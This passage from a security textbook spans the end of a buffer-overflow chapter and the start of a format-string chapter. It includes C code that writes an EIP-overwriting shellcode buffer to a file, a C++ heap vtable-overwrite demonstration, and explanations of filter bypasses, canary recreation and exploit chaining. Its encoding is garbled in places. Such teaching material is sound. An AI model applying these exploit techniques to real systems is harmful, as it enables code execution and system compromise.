string to nops memcpy(writeme+12,&EIP,4); //overwrite EIP here memcpy(writeme+16,code,49); // copy the code into our temp buf //open the file file=CreateFile("badfile",GENERIC_WRITE,0,NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL); //write our shellcode to the file WriteFile(file,writeme,65,&written,NULL); CloseHandle(file); //we're done return 1; } Learning Advanced Overflow Techniques Now that basic overflow techniques have been explored, it is time to examine some of the more interesting things you can do in an overflow situation. Some of these techniques are applicable in a general sense; some are for specific situations. Because overflows are becoming better understood in the programmer community, sometimes it requires a more advanced technique to exploit a vulnerable situation. Input Filtering Programmers have begun to understand overflows and are beginning to write code that checks input buffers for completeness.This can cause attackers headaches when they find that they cannot put whatever code they want into a buffer overflow.Typically, only null bytes cause problems, but programmers have begun to start parsing data so that it looks sane before attempting to copy it into a buffer. There are a lot of potential ways of achieving this, each offering a different hurdle to a potential exploit situation. www.syngress.com 304 Chapter 8 ¡E Buffer Overflow For example, some programmers have been verifying input values so that if the input should be a number, it gets checked to verify that it is a number before being copied to a buffer.There are a few standard C library calls that can verify that the data is as it should be.A short table of some of the ones found in the win32 C library follows.There are also wide character versions of nearly all of these functions to deal in a Unicode environment. int isalnum( int c ); checks if it is in A-Z,a-z,0-9 int isalpha( int c ); checks if it is in A-Z,a-z int __isascii( int c ); checks if it is in 0x00-0x7f int isdigit( int c ); checks if it is in 0-9 isxdigit( int c ); checks if it is in 0-9,A-F Many UNIX C libraries also implement similar functions. Custom exploits must be written in order to get around some of these filters. This can be done by writing specific code, or by creating a decoder that encodes the data into a format that can pass these tests. There has been much research put into creating alphanumeric and low- ASCII payloads; and work has progressed to the point where in some situations, full payloads can be written this way.There have been MIME-encoded payloads, and multibyte XOR payloads that can allow strange sequences of bytes to appear as if they were ASCII payloads. Another way that these systems can be attacked is by avoiding the input check altogether. For instance, storing the payload in an unchecked environment variable or session variable can allow you to minimize the amount of bytes you need to keep within the bounds of the filtered input. Incomplete Overflows and Data Corruption There has been a significant rise in the number of programmers who have begun to use bounded string operations like strncpy() instead of strcpy.These programmers have been taught that bounded operations are a cure for buffer overflows. however, it may come as a surprise to some that they are often implemented wrong. There is a common problem called an ¡§off by one¡¨ error, where a buffer is allocated to a specific size, and an operation is used with that size as a bound. However, it is often forgotten that a string must include a null byte terminator. Some common string operations, although bounded, will not add this character, effectively allowing the string to edge against another buffer on the stack with no www.syngress.com Buffer Overflow ¡E Chapter 8 305 separation. If this string gets used again later, it may treat both buffers as one, causing a potential overflow. An example of this is as follows: [buf1 - 32 bytes \0][buf2 - 32 bytes \0] Now, if exactly 32 bytes get copied into buf1 the buffers now look like this: [buf1 - 32 bytes of data ][buf2 - 32 bytes \0] Any future reference to buf1 may result in a 64-byte chunk of data being copied, potentially overflowing a different buffer. Another common problem with bounds checked functions is that the bounds length is either calculated wrong at runtime, or just plain coded wrong.This can happen because of a simple bug, or sometimes because a buffer is statically allocated when a function is first written, then later changed during the development cycle. Remember, the bounds size must be the size of the destination buffer and not that of the source. I have seen examples of dynamic checks that did a strlen() of the source string for number of bytes that were copied.This simple mistake invalidates the usefulness of any bounds checking. One other potential problem with this is when a condition occurs in which there is a partial overflow of the stack. Due to the way buffers are allocated on the stack and bounds checking, it may not always be possible to copy enough data into a buffer to overflow far enough to overwrite the EIP.This means that there is no direct way of gaining processor control via a ret. However, there is still the potential for exploitation even if you don¡¦t gain direct EIP control.You may be writing over some important data on the stack that you can control, or you may just get control of the EBP.You may be able to leverage this and change things enough to take control of the program later, or just change the program¡¦s operation to do something completely different than its original intent. For example, there was a phrack (www.phrack.org) article written about how changing a single byte of a stack¡¦s stored EBP may enable you to gain control of the function that called you.The article is at www.phrack.org/show.php?p =55&a=8 and is highly recommended. A side effect of this can show up when the buffer you are attacking resides near the top of the stack, with important pieces of data residing between your buffer and the saved EIP. By overwriting this data, you may cause a portion of the function to fail, resulting in a crash rather than an exploit.This often happens when an overflow occurs near the beginning of a large function. It forces the rest of the function to try to work as normal with a corrupt stack. An example of this www.syngress.com 306 Chapter 8 ¡E Buffer Overflow comes up when attacking canary-protected systems.A canary-protected system is one that places values on the stack and checks those values for integrity before issuing a ret instruction to leave the function. If this canary doesn¡¦t pass inspection, the process typically terminates. However, you may be able to recreate a canary value on the stack unless it is a near-random value. Sometimes, static canary values are used to check integrity. In this case, you just need to overflow the stack, but make certain that your overflow recreates the canary to trick the check code. Stack Based Function Pointer Overwrite Sometimes programmers store function addresses on the stack for later use. Often, this is due to a dynamic piece of code that can change on demand. Scripting engines often do this, as well as some other types of parsers. A function pointer is simply an address that is indirectly referenced by a call operation.This means that sometimes programmers are making calls directly or indirectly based on data in the stack. If we can control the stack, we are likely to be able to control where these calls happen from, and can avoid having to overwrite EIP at all. To attack a situation like this, you would simply create your overwrite and instead of overwriting EIP, you would overwrite the potion of the stack devoted to the function call. By overwriting the called function pointer, you can execute code similarly to overwriting EIP.You need to examine the registers and create an exploit to suit your needs, but it is possible to do this without too much trouble. Heap Overflows So far, this chapter has been about attacking buffers allocated on the stack.The stack offers a very simple method for changing the execution of code, and hence these buffer overflow scenarios are pretty well understood.The other main type of memory allocation in a program is from the heap.The heap is a region of memory devoted to allocating dynamic chunks of memory at runtime. The heap can be allocated via malloc-type functions such as HeapAlloc(), malloc(), and new(). It is freed by the opposite functions, HeapFree(), free(), and delete(). In the background there is an OS component known as a Heap Manager that handles the allocation of heaps to processes and allows for the growth of a heap so that if a process needs more dynamic memory, it is available. Heap memory is different from stack memory in that it is persistent between functions.This means that memory allocated in one function stays allocated until www.syngress.com Buffer Overflow ¡E Chapter 8 307 it is implicitly freed.This means that a heap overflow may happen but not be noticed until that section of memory is used later.There is no concept of saved EIP in relation to a heap, but there are other important things that often get stored there. Much like stack-based function pointer overflows, function pointers may be stored on the heap as well. Corrupting a Function Pointer The basic trick to heap overflows is to corrupt a function pointer.There are many ways to do this. First, you can try to overwrite one heap object from another neighboring heap. Class objects and structs are often stored on the heap, so there are usually many opportunities to do this.The technique is simple to understand and is called trespassing. Trespassing the Heap In this example, two class objects are instantiated on the heap.A static buffer in one class object is overflowed, trespassing into another neighboring class object. This trespass overwrites the virtual-function table pointer (vtable pointer) in the second object.The address is overwritten so that the vtable address points into our own buffer.We then place values into our own Trojan table that indicate new addresses for the class functions. One of these is the destructor, which we overwrite so that when the class object is deleted, our new destructor is called. In this way, we can run any code we want to ¡X we simply make the destructor point to our payload.The downside to this is that heap object addresses may contain a NULL character, limiting what we can do.We either must put our payload somewhere that doesn¡¦t require a NULL address, or pull any of the old stack referencing tricks to get the EIP to return to our address.The following code example demonstrates this method. // class_tres1.cpp : Defines the entry point for the console // application. #include <stdio.h> #include <string.h> class test1 www.syngress.com 308 Chapter 8 ¡E Buffer Overflow { public: char name[10]; virtual ~test1(); virtual void run(); }; class test2 { public: char name[10]; virtual ~test2(); virtual void run(); }; int main(int argc, char* argv[]) { class test1 *t1 = new class test1; class test1 *t5 = new class test1; class test2 *t2 = new class test2; class test2 *t3 = new class test2; ////////////////////////////////////// // overwrite t2's virtual function // pointer w/ heap address // 0x00301E54 making the destructor // appear to be 0x77777777 // and the run() function appear to // be 0x88888888 ////////////////////////////////////// strcpy(t3->name, "\x77\x77\x77\x77\x88\x88\x88\x88XX XXXXXXXXXX"\ "XXXXXXXXXX XXXXXXXXXX XXXXXXXXXX XXXX\x54\x1E\x30\x00"); www.syngress.com Buffer Overflow ¡E Chapter 8 309 delete t1; delete t2; // causes destructor 0x77777777 to be called delete t3; return 0; } void test1::run() { } test1::~test1() { } void test2::run() { puts("hey"); } test2::~test2() { } Figure 8.24 illustrates the example.The proximity between heap objects allows you to overflow the virtual function pointer of a neighboring heap object. Once overwritten, the attacker can insert a value that points back into the controlled buffer, where the attacker can build a new virtual function table.The new table can then cause attacker-supplied code to execute when one of the class functions is executed.The destructor is a good function to replace, since it is executed when the object is deleted from memory. www.syngress.com 310 Chapter 8 ¡E Buffer Overflow Advanced Payload Design In addition to advanced tricks and techniques for strange and vulnerable situations, there are also techniques that allow your payload to operate in more environments and to do more interesting things.We will cover some more advanced topics regarding payload design and implementation that can allow you to have more flexibility and functionality in your shellcode. Buffer overflow attacks offer a very high degree of flexibility in design. Each aspect of an exploit, from injecting the buffer to choosing the jump point; and right up to innovative and interesting payload design can be modified to fit your situation.You can optimize it for size, avoid intrusion detection systems (IDS), or make it violate the kernel. Using What You Already Have Even simple programs often have more code in memory than is strictly necessary. By linking to a dynamically loaded library, you tell the program to load that www.syngress.com Figure 8.24 Trespassing the Heap C++ Object VTABLE PTR C++ Object member variables C++ Object VTABLE PTR C++ Object member variables grow down C++ Object VTable _vfptr _destructor _functionYYY, etc. _functionXXX Buffer Overflow ¡E Chapter 8 311 library at startup or runtime. Unfortunately, when you dynamically load a DLL or shared library under UNIX, you are forced into loading the entire piece of code into a mapped section of memory, not just the functions you specifically need.This means that not only are you getting the code you need, but you are potentially getting a bunch of other stuff loaded as well. Modern operating systems and the robust machines upon which they run do not see this as a liability; further, most of the code in a dynamic load library will never be referenced and hence does not really affect the process in one way or another. However, as an attacker, this gives you more code to use to your advantage. You cannot only use this code to find good jump points; you can also use it to look for useful bits and pieces that will already be loaded into memory for you. This is where understanding of the commonly loaded libraries can come in handy. Since they are often loaded, you can use those functions that are already loaded but not being used. Static linking can reduce the amount of code required to link into a process down to the bare bones, but this is often not done. Like dynamic link libraries, static libraries are typically not cut into little pieces to help reduce overhead, so most static libraries also link in additional code. For example, if Kernel32.dll is loaded, you can use any kernel32 function, even if the process itself does not implicitly use it.You can do this because it is already loaded into the process space, as are all of its dependencies, meaning there is a lot of extra code loaded with every additional DLL, beyond what seems on the surface. Another example of using what you have in the UNIX world is a trick that was used to bypass systems like security researcher solar designer¡¦s early Linux kernel patches and kernel modifications like the PAX project.The first known public exploitation of this was done by solar designer. It worked by overwriting the stack with arguments to execve, then overwriting the EIP with the loaded address of execve.The stack was set up just like a call to execve, and when the function hit its ret and tried to go to the EIP, it executed it as such. Accordingly, you would never have to execute code from the stack, which meant you could avoid any stack execution protection. Dynamic Loading New Libraries Most modern operating systems support the notion of dynamic shared libraries. They do this to minimize memory usage and reuse code as much as possible. As I said in the last section, you can use whatever is loaded to your advantage, but sometimes you may need something that isn¡¦t already loaded. www.syngress.com 312 Chapter 8 ¡E Buffer Overflow Just like code in a program, a payload can chose to load a dynamic library on demand and then use functions in it.We examined a example of this in the simple Windows NT exploit example. Under Windows NT, there are a pair of functions that will always be loaded in a process space, LoadLibrary() and GetProcAddress().These functions allow us to basically load any DLL and query it for a function by name. On UNIX, it is a combination of dlopen() and dlsym(). These two functions both break down into categories, a loader, and a symbol lookup.A quick explanation of each will give you a better understanding of their usefulness. A loader like LoadLibrary() or dlopen()loads a shared piece of code into a process space. It does not imply that the code will be used, but that it is available for use. Basically, with each you can load a piece of code into memory that is in turn mapped into the process. A symbol lookup function, like GetProcAddress() or dlsym(), searches the loaded shared library¡¦s export tables for function names.You specify the function you are looking for by name, and it returns with the address of the function¡¦s start. Basically, you can use these preloaded functions to load any DLL that your code may want to use.You can then get the address of any of the functions in those dynamic libraries by name.This gives you nearly infinite flexibility, as long as the dynamic shared library is available on the machine. There are two common ways to use dynamic libraries to get the functions you need.You can either hardcode the addresses of your loader and symbol lookups, or you can search through the attacked process¡¦s import table to find them at runtime. Hardcoding the addresses of these functions works well but can impair your code portability.This is because only processes that have the functions loaded where you have hardcoded them will allow this technique to work. For Windows NT, this typically limits your exploit to a single service pack and OS combo, for UNIX, it may not work at all, depending on the platform and libraries used. The second option is to search the executable file¡¦s import tables.This works better and is more portable, but has the disadvantage of being much larger code. In a tight buffer situation where you can¡¦t tuck your code elsewhere, this may just not be an option.The simple overview is to treat your shellcode like a symbol lookup function. In this case, you are looking for the function already loaded in memory via the imported functions list.This, of course assumes that the function is already loaded in memory, but this is often, if not always, the case.This method www.syngress.com Buffer Overflow ¡E Chapter 8 313 requires you to understand the linking format used by your target operating system. For Windows NT, it is the PE, or portable executable format. For most UNIX systems, it is the Executable and Linking Format (ELF). You will want to examine the specs for these formats and get to know them better.They offer a concise view of what the process has loaded at linkage time, and give you hints into what an executable or shared library can do. Eggshell Payloads One of the strangest types of payload is what is known an eggshell payload.An eggshell is an exploit within an exploit.The purpose is to exploit a lower privileged program, and with your payload, attack and exploit a higher privileged piece of code. This technique allows you to execute a simple exploitation of a program to get your foot in the door, then leverage that to march the proveribal army through.This concept saves time and effort over attacking two distinct holes by hand.The attacks tend to be symbiotic, allowing a low privilege remote attack to be coupled with a high privilege local attack for a devastating combination. We used an eggshell technique in our release of IISHack 1.5.This completely compromises a Windows NT server running IIS 4. A full analysis and code is available at http://www.eeye.com/html/Research/Ad...001003.html.We used a known, non-privileged exploit, the ¡§Unicode¡¨ attack, to inject an asp file onto the server. Unicode attacks execute in the process space of IUSR_MACHINE, which is basically an unprivileged user. We coupled this with an undisclosed .ASP parser overflow attack that ran in the LOCAL_SYSTEM context.This allowed us to take a low grade but dangerous remote attack and turn it quickly into a total system compromise. www.syngress.com 314 Chapter 8 ¡E Buffer Overflow Summary Buffer overflows are a real danger in modern computing.They account for many of the largest, most devastating security vulnerabilities ever discovered.We showed how the stack operates, and how modern compilers and computer architectures use it to deal with functions.We have examined some exploit scenarios and laid out the pertinent parts of an exploit.We have also covered some of the more advanced techniques used in special situations or to make your attack code more portable and usable. Understanding how the stack works is imperative to understanding overflow techniques.The stack is used by nearly every function to pass variables into and out of functions, and to store local variables.The ESP points to the top of the local stack, and the EBP to its base.The EIP and EBP are saved on the stack when a function gets called, so that you can return to the point from which you got called at the end of your function. The general concept behind buffer overflow attacks revolves around overwriting the saved EIP on the stack with a way to get to your code.This allows you to control the machine and execute any code you have placed there.To successfully exploit a vulnerable situation, you need to create an injector, a jump point, and a payload.The injector places your code where it needs to be, the jump point transfers control to your payload, and your payload is the actual code you wish to execute. There are numerous techniques that can be used to make your exploit work better in a variety of situations.We covered techniques for bypassing input filtering and dealing with incomplete overflows.We looked at how heap overflows can happen and some simple techniques for exploiting vulnerable heap situations. Finally, we examined a few techniques that can lead to better shellcode design. They included using preexisting code and how to load code that you do not have available to you at time of exploitation. Solutions Fast Track Understanding the Stack The stack serves as local storage for variables used in a given function. It is typically allocated at the beginning of a function in a portion of code called the prologue, and cleaned up at the end of the function in the epilogue. www.syngress.com Buffer Overflow ¡E Chapter 8 315 Often, parts of the stack are allocated for use as buffers within the function. Because of the way the stack works, these are allocated as static sizes that do not change throughout the function¡¦s lifetime. Certain compilers may play tricks with stack usage to better optimize the function for speed or size.There are also a variety of calling syntaxes that will affect how the stack is used within a function. Understanding the Stack Frame A stack frame comprises of the space allocated for stack usage within a function. It contains the saved EBP from the previous function call, the saved EIP to return to the calling code, all arguments passed to the function, and all locally allocated space for static stack variables. The ESP register points to the top of the frame and the EBP register points to the bottom of the frame.The ESP register shifts as items are pushed onto and popped from the stack.The EBP register typically serves as an anchor point for referencing local stack variables. The call and ret Intel instructions are how the processor enters and exits functions. It does this by saving a copy of the EIP that needs to be returned to on the stack at the call and coming back to this saved EIP by the ret instruction. Learning about Buffer Overflows Copying too much data into a buffer will cause it to overwrite parts of the stack. Since the EIP is popped off the stack by a ret instruction, a complete overwrite of the stack will result in having the ret instruction pop off user supplied data and transferring control of the processor to wherever an attacker wants it to go. Creating Your First Overflow A stack overflow exploit is comprised of an injection, a jump point, and a payload. www.syngress.com 316 Chapter 8 ¡E Buffer Overflow Injection involves getting your specific payload into the attack¡¦s target buffer.This can be a network connection, form input, or a file that is read in, depending on your specific situation. A jump point is the address with which you intend to overwrite the EIP saved on the stack.There are a lot of possibilities for this overwrite, including direct and indirect jumps to your code.There are other techniques that can improve the accuracy of this jump, including NOP sleds and Heap Spray techniques. Payloads are the actual code that an attacker will attempt to execute.You can write just about any code for your payload. Payload code is often just reduced assembly instructions to do whatever an attacker wants. It is often derived from a prototype in C and condensed to save space and time for delivery. Learning Advanced Overflow Techniques There may be some type of input filtering or checking happening before a buffer can be overflowed. Although this technique can reduce the chances of a buffer overflow exploitation, it might still be possible to attack these scenarios.These may involve crafting your exploit code to bypass certain types of input filtering, like writing a purely alphanumeric exploit.You may also need to make your exploit small to get past length checks. Sometimes, you do not get complete control of the EIP.There are many situations where you can get only a partial overflow, but can still use that to gain enough control to cause the execution of code.These typically involve corrupting data on the stack that may be used later to cause an overflow.You may also be able to overwrite function pointers on the stack to gain direct control of the processor on a call. Stack overflows are not the only types of overflows available to an attacker. Heap-based overflows can still lead to compromise if they can result in data corruption or function pointer overwrites that lead to a processor-control scenario. www.syngress.com Buffer Overflow ¡E Chapter 8 317 Advanced Payload Design You can use code that already is loaded due to normal process operation. It can save space in your payload and offer you the ability to use code exactly like the program itself can use it. Don¡¦t forget that there is often more code loaded than a program is actually using, so a little spelunking in the process memory space can uncover some really useful preloaded code. If you do not have everything your program needs, do not be afraid to load it yourself. By loading dynamic libraries, you can potentially load any code already existing on the machine.This can give you a virtually unlimited resource in writing your payload. Eggshells are exploits within exploits.They offer the benefit of parlaying a less privileged exploit into a full system compromise.The basic concept is that the payload of the first exploit is used to exploit the second vulnerability and inject another payload. Q: Why do buffer overflows exist? A: Buffer overflows exist because of the state of stack usage in most modern computing environments. Improper bounds checking on copy operations can result in a violation of the stack.There are hardware and software solutions that can protect against these types of attacks. However, these are often exotic and incur performance or compatibility penalties. Q: Where can I learn more about buffer overflows? A: Reading lists like Bugtraq (www.securityfocus.com), and the associated papers written about buffer overflow attacks in journals like Phrack can significantly increase your understanding of the concept. www.syngress.com Frequently Asked Questions The following Frequently Asked Questions, answered by the authors of this book, are designed to both measure your understanding of the concepts presented in this chapter and to assist you with real-life implementation of these concepts. To have your questions about this chapter answered by the author, browse to www.syngress.com/solutions and click on the ¡§Ask the Author¡¨ form. 318 Chapter 8 ¡E Buffer Overflow Q: How can I stop myself from writing overflowable code? A: Proper quality assurance testing can weed out a lot of these bugs.Take time in design, and use bounds checking versions of vulnerable functions. Q: Are only buffers overflowable? A: Actually, just about any incorrectly used stack variable can potentially be exploited.There has recently been exploration into overflowing integer variables on the stack.These types of vulnerabilities arise from the use of casting problems inherent in a weakly typed language like C.There have recently been a few high profile exploitations of this, including a Sendmail local compromise (www.securityfocus.com/bid/3163) and an SSH1 remote vulnerability (www.securityfocus.com/bid/2347).These overflows are hard to find using automated tools, and may pose some serious problems in the future Q: How do I find buffer overflows in code? A: There are a variety of techniques for locating buffer overflows in code. If you have source code for the attacked application, you can use a variety of tools designed for locating exploitable conditions in code.You may want to examine ITS4 (www.cigital.com/services/its4) or FlawFinder (www.dwheeler.com/ flawfinder). Even without source code, you have a variety of options. One common technique is to do input checking tests. Numerous tools are available to check input fields in common programs. I wrote Common Hacker Attack Methods (CHAM) as a part of eEye¡¦s Retina product (www.eEye.com) to check common network protocols. Dave Aitel from @Stake wrote SPIKE (www.atstake.com/research/tools/spike-v1.8.tar.gz), which is an API to test Web application inputs. One newly-explored area of discovering overflows lies in binary auditing. Binary auditing uses custom tools to look for strange or commonly exploitable conditions in compiled code.There haven¡¦t been many public tools released on this yet, but expect them to be making the rounds soon.You may want to examine some of the attack tools as well. |
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![]() Chapter 9 ¡E Format Strings
Introduction Early in the summer of 2000, the security world was abruptly made aware of a significant new type of security vulnerabilities in software.This subclass of vulnerabilities, known as format string bugs, was made public when an exploit for the Washington University FTP daemon (WU-FTPD) was posted to the Bugtraq mailing list on June 23, 2000.The exploit allowed for remote attackers to gain root access on hosts running WU-FTPD without authentication if anonymous FTP was enabled (it was, by default, on many systems).This was a very high-pro- file vulnerability because WU-FTPD is in wide use on the Internet. As serious as it was, the fact that tens of thousands of hosts on the Internet were instantly vulnerable to complete remote compromise was not the primary reason that this exploit was such a great shock to the security community.The real concern was the nature of the exploit and its implications for software everywhere. This was a completely new method of exploiting programming bugs previously thought to be benign.This was the first demonstration that format string bugs were exploitable. A format string vulnerability occurs when programmers pass externally supplied data to a printf function as or as part of the format string argument. In the case of WU-FTPD, the argument to the SITE EXEC ftp command when issued to the server was passed directly to a printf function. There could not have been a more effective proof of concept; attackers could immediately and automatically obtain superuser privileges on victim hosts. Until the exploit was public, format string bugs were considered by most to be bad programming form¡Xjust inelegant shortcuts taken by programmers in a rush¡Xnothing to be overly concerned about. Up until that point, the worst that had occurred was a crash, resulting in a denial of service.The security world soon learned differently. Countless UNIX systems have been compromised due to these bugs. As previously mentioned, format string vulnerabilities were first made public in June of 2000.The WU-FTPD exploit was written by an individual known as tf8, and was dated October 15, 1999. Assuming that through this vulnerability it was discovered that format string bug conditions could be exploited, hackers had more than eight months to seek out and write exploits for format string bugs in other software.This is a conservative guess, based on the assumption that the WU-FTPD vulnerability was the first format string bug to be exploited.There is no reason to believe that is the case; the comments in the exploit do not suggest that the author discovered this new method of exploitation. www.syngress.com www.syngress.com Shortly after knowledge of format string vulnerabilities was public, exploits for several programs became publicly available.As of this writing, there are dozens of public exploits for format string vulnerabilities, plus an unknown number of unpublished ones. As for their official classification, format string vulnerabilities do not really deserve their own category among other general software flaws such as race conditions and buffer overflows. Format string vulnerabilities really fall under the umbrella of input validation bugs: the basic problem is that programmers fail to prevent untrusted externally supplied data from being included in the format string argument. Format Strings ¡E Chapter 9 321 Format String Vulnerabilities versus Buffer Overflows On the surface, format string and buffer overflow exploits often look similar. It is not hard to see why some may group together in the same category. Whereas attackers may overwrite return addresses or function pointers and use shellcode to exploit them, buffer overflows and format string vulnerabilities are fundamentally different problems. In a buffer overflow vulnerability, the software flaw is that a sensitive routine such as a memory copy relies on an externally controllable source for the bounds of data being operated on. For example, many buffer overflow conditions are the result of C library string copy operations. In the C programming language, strings are NULL terminated byte arrays of variable length. The strcpy() (string copy) libc function copies bytes from a source string to a destination buffer until a terminating NULL is encountered in the source string. If the source string is externally supplied and greater in size than the destination buffer, the strcpy() function will write to memory neighboring the data buffer until the copy is complete. Exploitation of a buffer overflow is based on the attacker being able to overwrite critical values with custom data during operations such as a string copy. In format string vulnerabilities, the problem is that externally supplied data is being included in the format string argument. This can be considered a failure to validate input and really has nothing to do with data boundary errors. Hackers exploit format string vulnerabilities to Notes from the Underground¡K Continued 322 Chapter 9 ¡E Format Strings This chapter will introduce you to format string vulnerabilities, why they exist, and how they can be exploited by attackers.We will look at a real-world format string vulnerability, and walk through the process of exploiting it as a remote attacker trying to break into a host. Understanding Format String Vulnerabilities To understand format string vulnerabilities, it is necessary to understand what the printf functions are and how they function internally. Computer programmers often require the ability for their programs to create character strings at runtime.These strings may include variables of a variety of types, the exact number and order of which are not necessarily known to the programmer during development.The widespread need for flexible string creation and formatting routines naturally lead to the development of the printf family of functions.The printf functions create and output strings formatted at runtime.They are part of the standard C library. Additionally, the printf functionality is implemented in other languages (such as Perl). These functions allow for a programmer to create a string based on a format string and a variable number of arguments.The format string can be considered a www.syngress.com write specific values to specific locations in memory. In buffer overflows, the attacker cannot choose where memory is overwritten. Another source of confusion is that buffer overflows and format string vulnerabilities can both exist due to the use of the sprintf() function. To understand the difference, it is important to understand what the sprintf function actually does. sprintf() allows for a programmer to create a string using printf() style formatting and write it into a buffer. Buffer overflows occur when the string that is created is somehow larger than the buffer it is being written to. This is often the result of the use of the %s format specifier, which embeds NULL terminated string of variable length in the formatted string. If the variable corresponding to the %s token is externally supplied and it is not truncated, it can cause the formatted string to overwrite memory outside of the destination buffer when it is written. The format string vulnerabilities due to the misuse of sprintf() are due to the same error as any other format string bugs, externally supplied data being interpreted as part of the format string argument. Format Strings ¡E Chapter 9 323 blueprint containing the basic structure of the string and tokens that tell the printf function what kinds of variable data goes where, and how it should be formatted. The printf tokens are also known as format specifiers; the two terms are used interchangeably in this chapter. The concept behind printf functions is best demonstrated with a small example: int main() { int integer = 10; printf("this is the skeleton of the string, %i",integer); } www.syngress.com The printf Functions This is a list of the standard printf functions included in the standard C library. Each of these can lead to an exploitable format string vulnerability if misused. printf() This function allows a formatted string to be created and written to the standard out I/O stream. fprintf() This function allows a formatted string to be created and written to a libc FILE I/O stream. sprintf() This function allows a formatted string to be created and written to a location in memory. Misuse of this function often leads to buffer overflow conditions. snprintf() This function allows a formatted string to be created and written to a location in memory, with a maximum string size. In the context of buffer overflows, it is known as a secure replacement for sprintf(). The standard C library also includes the vprintf(), vfprintf(), vsprintf(), and vsnprintf() functions. These perform the same functions as their counterparts listed previously but accept varargs (variable arguments) structures as their arguments. Tools & Traps¡K 324 Chapter 9 ¡E Format Strings In this code example, the programmer is calling printf with two arguments, a format string and a variable that is to be embedded in the string when that instance of printf executes. "this is the skeleton of the string, %i" This format string argument consists of static text and a token (%i), indicating variable data. In this example, the value of this integer variable will be included, in Base10 character representation, after the comma in the string output when the function is called. The following program output demonstrates this (the value of the integer variable is 10): [dma@victim server]$ ./format_example this is the skeleton of the string, 10 Because the function does not know how many arguments it will receive, they are read from the process stack as the format string is processed based on the data type of each token. In the previous example, a single token representing an integer variable was embedded in the format string.The function expects a variable corresponding to this token to be passed to the printf function as the second argument. On the Intel architecture (at least), arguments to functions are pushed onto the stack before the stack frame is created.When the function references its arguments on these platforms, it references data on the stack beneath the stack frame. NOTE In this chapter, we use the term beneath to describe data that was placed on the stack before the data we are suggesting is above. On the Intel architecture, the stack grows down. On this and other architectures with stacks that grow down, the address of the top of the stack decreases numerically as the stack grows. On these systems, data that is described as beneath the other data on the stack has a numerically higher address than data above it. The fact that numerically higher memory addresses may be lower in the stack can cause confusion. Be aware that a location in the stack described as above another means that it is closer to the top of the stack than the other location. www.syngress.com Format Strings ¡E Chapter 9 325 In our example, an argument was passed to the printf function corresponding to the %i token¡Xthe integer variable.The Base10 character representation of the value of this variable (10) was output where the token was placed in the format string. When creating the string that is to be output, the printf function will retrieve whatever value of integer data type size is at the right location in the stack and use that as the variable corresponding to the token in the format string.The printf function will then convert the binary value to a character representation based on the format specifier and include it as part of the formatted output string. As will be demonstrated, this occurs regardless of whether the programmer has actually passed a second argument to the printf function or not. If no parameters corresponding to the format string tokens were passed, data belonging to the calling function(s) will be treated as the arguments, because that is what is next on the stack. Let¡¦s go back to our example, pretending that we had later decided to print only a static string but forgot to remove the format specifier.The call to printf now looks like this: printf("this is the skeleton of the string, %i"); /* note: no argument. only a format string. */ When this function executes, it does not know that there has not been a variable passed corresponding to the %i token.When creating the string, the function will read an integer from the area of the stack where a variable would be had it been passed by the programmer, the 4 bytes beneath the stack frame. Provided that the virtual memory where the argument should be can be dereferenced, the program will not crash and whatever bytes happened to be at that location will be interpreted as, and output as, an integer. The following program output demonstrates this: [dma@victim server]$ ./format_example this is the skeleton of the string, -1073742952 Recall that no variable was passed as an integer argument corresponding to the %i format specifier; however, an integer was included in the output string. The function simply reads bytes that make up an integer from the stack as though they were passed to the function by the programmer. In this example, the bytes in memory happened to represent the number ¡V1073742952 as a signed int data type in Base10. www.syngress.com 326 Chapter 9 ¡E Format Strings If users can force their own data to be part of the format string, they cause the affected printf function to treat whatever happens to be on the stack as legitimate variables associated with format specifiers that they supply. As we will see, the ability for an external source to control the internal function of a printf function can lead to some serious potential security vulnerabilities. If a program exists that contains such a bug and returns the formatted string to the user (after accepting format string input), attackers can read possibly sensitive memory contents. Memory can also be written to through malicious format strings by using the obscure format specifier %n.The purpose of the %n token is to allow programmers to obtain the number of characters output at predetermined points during string formatting. How attackers can exploit format string vulnerabilities will be explained in detail as we work toward developing a functional format string exploit. Why and Where Do Format String Vulnerabilities Exist? Format string vulnerabilities are the result of programmers allowing externally supplied, unsanitized data in the format string argument.These are some of the most commonly seen programming mistakes resulting in exploitable format string vulnerabilities. The first is where a printf function is called with no separate format string argument, simply a single string argument. For example: printf(argv[1]); In this example, the second argument value (often the first command line argument) is passed to printf() as the format string. If format specifiers have been included in the argument, they will be acted upon by the printf function: [dma@victim]$ ./format_example %i -1073742936 This mistake is usually made by newer programmers, and is due to unfamiliarity with the C library string processing functions. Sometimes this mistake is due to the programmer¡¦s laziness, neglecting to include a format string argument for the string (i.e., %s).This reason is often the underlying cause of many different types of security vulnerabilities in software. The use of wrappers for printf() style functions, often for logging and error reporting functions, is very common.When developing, programmers may forget www.syngress.com Format Strings ¡E Chapter 9 327 that an error message function calls printf() (or another printf function) at some point with the variable arguments it has been passed.They may simply become accustomed to calling it as though it prints a single string: error_warn(errmsg); The vulnerability that we are going to exploit in this chapter is due to an error similar to this. One of the most common causes of format string vulnerabilities is improper calling of the syslog() function on UNIX systems. syslog() is the programming interface for the system log daemon. Programmers can use syslog() to write error messages of various priorities to the system log files. As its string arguments, syslog() accepts a format string and a variable number of arguments corresponding to the format specifiers. (The first argument to syslog() is the syslog priority level.) Many programmers who use syslog() forget or are unaware that a format string separate from externally supplied log data must be passed. Many format string vulnerabilities are due to code that resembles this: syslog(LOG_AUTH,errmsg); If errmsg contains externally supplied data (such as the username of a failed login attempt), this condition can likely be exploited as a typical format string vulnerability. How Can They Be Fixed? Like most security vulnerabilities due to insecure programming, the best solution to format string vulnerabilities is prevention. Programmers need to be aware that these bugs are serious and can be exploited by attackers. Unfortunately, a global awakening to security issues is not likely any time soon. For administrators and users concerned about the software they run on their system, a good policy should keep the system reasonably secure. Ensure that all setuid binaries that are not needed have their permissions removed, and all unnecessary services are blocked or disabled. Mike Frantzen published a workaround that could be used by administrators and programmers to prevent any possible format string vulnerabilities from being exploitable. His solution involves attempting to count the number of arguments passed to a printf() function compared to % tokens in the format string.This workaround is implemented as FormatGuard in Immunix, a distribution of Linux designed to be secure at the application level. www.syngress.com 328 Chapter 9 ¡E Format Strings Mike Frantzen¡¦s Bugtraq post is archived at www.securityfocus.com/ archive/1/72118. FormatGuard can be found at www.immunix.org/ formatguard.html. How Format String Vulnerabilities Are Exploited There are three basic goals an attacker can accomplish by exploiting format string vulnerabilities. First, the attacker can cause a process to fail due to an invalid memory access.This can 